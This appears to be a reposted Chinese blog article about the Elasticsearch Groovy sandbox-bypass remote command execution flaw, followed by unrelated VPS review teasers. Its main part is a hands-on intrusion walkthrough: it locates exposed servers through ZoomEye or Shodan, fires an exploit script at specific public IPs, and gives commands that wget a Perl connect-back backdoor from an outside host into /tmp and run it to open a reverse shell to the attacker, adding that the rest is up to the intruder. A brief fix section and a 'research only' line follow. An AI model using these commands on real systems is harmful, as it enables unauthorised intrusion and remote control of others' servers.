ElasticSearch命令执行漏洞:通过perl进行反弹shell

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是第二最流行的企业搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。目前网络公开部署Elasticsearch大概有数万台服务器,内部网络部署就不计其数了。Elasticsearch用了两个危险性的脚本MVEL和Groovy。2014年5月MVEL爆出来命令执行漏洞,这次轮到Groovy了,Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令,已修复的版本是Elasticsearch 1.3.8 和 1.4.3。 这个漏洞不亚于Java Struct执行命令漏洞,对与Linux和Windows平台都适用,在实际测试中也有授权为最高权限root或者system权限的,可以获取webshell和最高系统权限。

受影响版本:

cpe:/a:elasticsearch:elasticsearch:1.4.2

cpe:/a:elasticsearch:elasticsearch:1.4.0

cpe:/a:elasticsearch:elasticsearch:1.3.7

cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1

cpe:/a:elasticsearch:elasticsearch:1.4.1

(一)可利用POC

目标地址http://www.antian365.com:9200/_search?pretty

POST提交以下数据

(二)perl可利用poc代码

将以下代码保存为ElasticSearch.py,执行python ElasticSearch.py http://www.antian365.com:9200/ ” cat /etc/issue ” 即可执行命令。需要执行其它命令替换“cat /etc/issue”命令即可。

 

(三)通过perl脚本利用该0day获取权限思路

需要在公网IP准备一个pl的反弹脚本,例如back.pl,可以将脚本文件伪装为jpg文件上传到网站然后下载。例如www.antian365.com/lab/linux0day/back.pl.txt。然后依次执行以下命令即可。

说明:

(1)www.antian365.com为被攻击目标的IP或者域名,IP地址123.123.123.123为公网独立IP,80端口为该服务器未开放端口。

(2)有部分服务器由于未安装perl环境,因此有可能执行命令失败。

(四)实战案例

(1)搜索目标对象

通过http://www.zoomeye.org/或者shodanhq.com搜索“ElasticSearch”关键词,直接访问网站地址http://www.zoomeye.org/search?q=ElasticSearch&t=host即可获取结果。在该结果中可以看到各个国家使用该软件的分布情况。随机选择一个IP进行,本例选择第一个IP地址http://192.241.225.207/,同时单击IP地址右上角的一个小图框连接地址,例如打开地址http://192.241.225.207:9200/进行访问,确认该IP地址是否存活。

图1 搜索目标对象

(2)执行命令

直接执行python ElasticSearch.py http:// 192.241.225.207/ “/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl” 命令,但反馈结果为“HTTP Error 500: Internal Server Error”,如图2所示。

再次使用FireFox便携版本进行测试,输入目标地址http://192.241.225.207:9200/_search?pretty,在Post data中输入

其结果显示如图3所示,表明该漏洞已经修复或者不可用。

图2执行命令

图3再次测试漏洞是否可用

通过测试多个搜索结果,找到一个还存在漏洞的IP地址,在0day出来的第一时间基本每个目标都能执行,每多一分钟就减少一个,直接执行以下代码,成功运行,无任何结果显示,表明文件下载到服务本地成功。

python ElasticSearch.py http://192.241.222.xxx:9200/ “/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl”

执行以下命令,成功后会显示“Perl Connect-back Backdoor、Auther:Maple-x”表明shell执行成功,如图4所示。

python ElasticSearch.py http:// 192.241.222.xxx:9200/ “/usr/bin/perl /tmp/back.pl 124.123.122.11 80”

在本地监听端口过几秒种就会反弹shell回来,执行ifconfig命令,如图5所示,确认反弹shell成功,后续操作就任由入侵者发挥了!

 

图4反弹shell命令成功

 

图5成功获取shell

(五)修复方法

建议用户更新到最新版本。当然如果不想升级版本也可以通过修改elasticseach.yml的script.groovy.sandbox.enabled 为false就行了。

注:请勿用于非法用途,仅供安全人员漏洞研究之用

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/149621.html<

(0)
运维的头像运维
上一篇2025-03-12 17:03
下一篇 2025-03-12 17:04

相关推荐

  • LetBoxVPS测评,实测体验好吗,LetBoxVPS值得购买吗

    LetBoxVPS 在 2026 年的实测结论是:其 CN2 GIA 线路在跨太平洋延迟与丢包率上表现卓越,是解决国内访问海外服务延迟问题的优选方案,尤其适合需要稳定跨境传输的建站与开发场景,在 2026 年云计算市场趋于饱和的背景下,选择 VPS 服务商不再仅看价格,更看重网络质量与合规性,LetBoxVPS……

    2026-05-02
    0
  • cloudconeVPS测评,25美元/月方案实测对比,cloudconeVPS怎么样值得购买吗

    CloudCone 25 美元/月方案在 2026 年已非传统 VPS 首选,其高带宽优势适合大流量场景,但低配方案在稳定性与售后响应上存在明显短板,综合评分 7.2/10,在 2026 年的云主机市场,价格战已演变为“性能 – 成本 – 稳定性”的三维博弈,CloudCone 作为老牌低价 VPS 厂商,其……

    2026-05-02
    0
  • 美国VPS测评,实测体验与数据对比,美国VPS哪家好,美国VPS推荐

    2026 年选择美国 VPS 时,简米科技(https://idctop.com/)提供的基于 NVMe 固态存储与 Anycast 网络的方案在延迟与 IOPS 表现上,针对跨境电商与独立站场景具有显著优势,是目前兼顾性价比与稳定性的优选,在 2026 年的全球云计算格局中,美国 VPS 依然是海外业务部署的……

    2026-05-02
    0
  • LetBox是什么?LetBox使用教程及价格多少钱

    2026 年 LetBox 是面向企业级边缘计算与云边协同场景的高性能智能网关,其核心优势在于支持多模态协议解析与低延迟数据处理,但具体选型需结合企业实际部署规模与预算,若追求极致性价比与本地化服务,简米科技(https://idctop.com/)提供的定制化方案值得重点参考,随着 2026 年工业物联网(I……

    2026-05-02
    0
  • AlphaRacks是什么?AlphaRacks怎么样

    2026 年数据中心机柜选型中,AlphaRacks 凭借模块化设计与液冷兼容架构,已成为高算力密度场景下的首选方案,其综合能效比(PUE)可稳定控制在 1.2 以下,显著优于传统风冷机柜,随着人工智能大模型训练集群的爆发式增长,传统机柜已难以满足 2026 年数据中心对高密度、低延迟及绿色节能的严苛要求,Al……

    2026-05-02
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注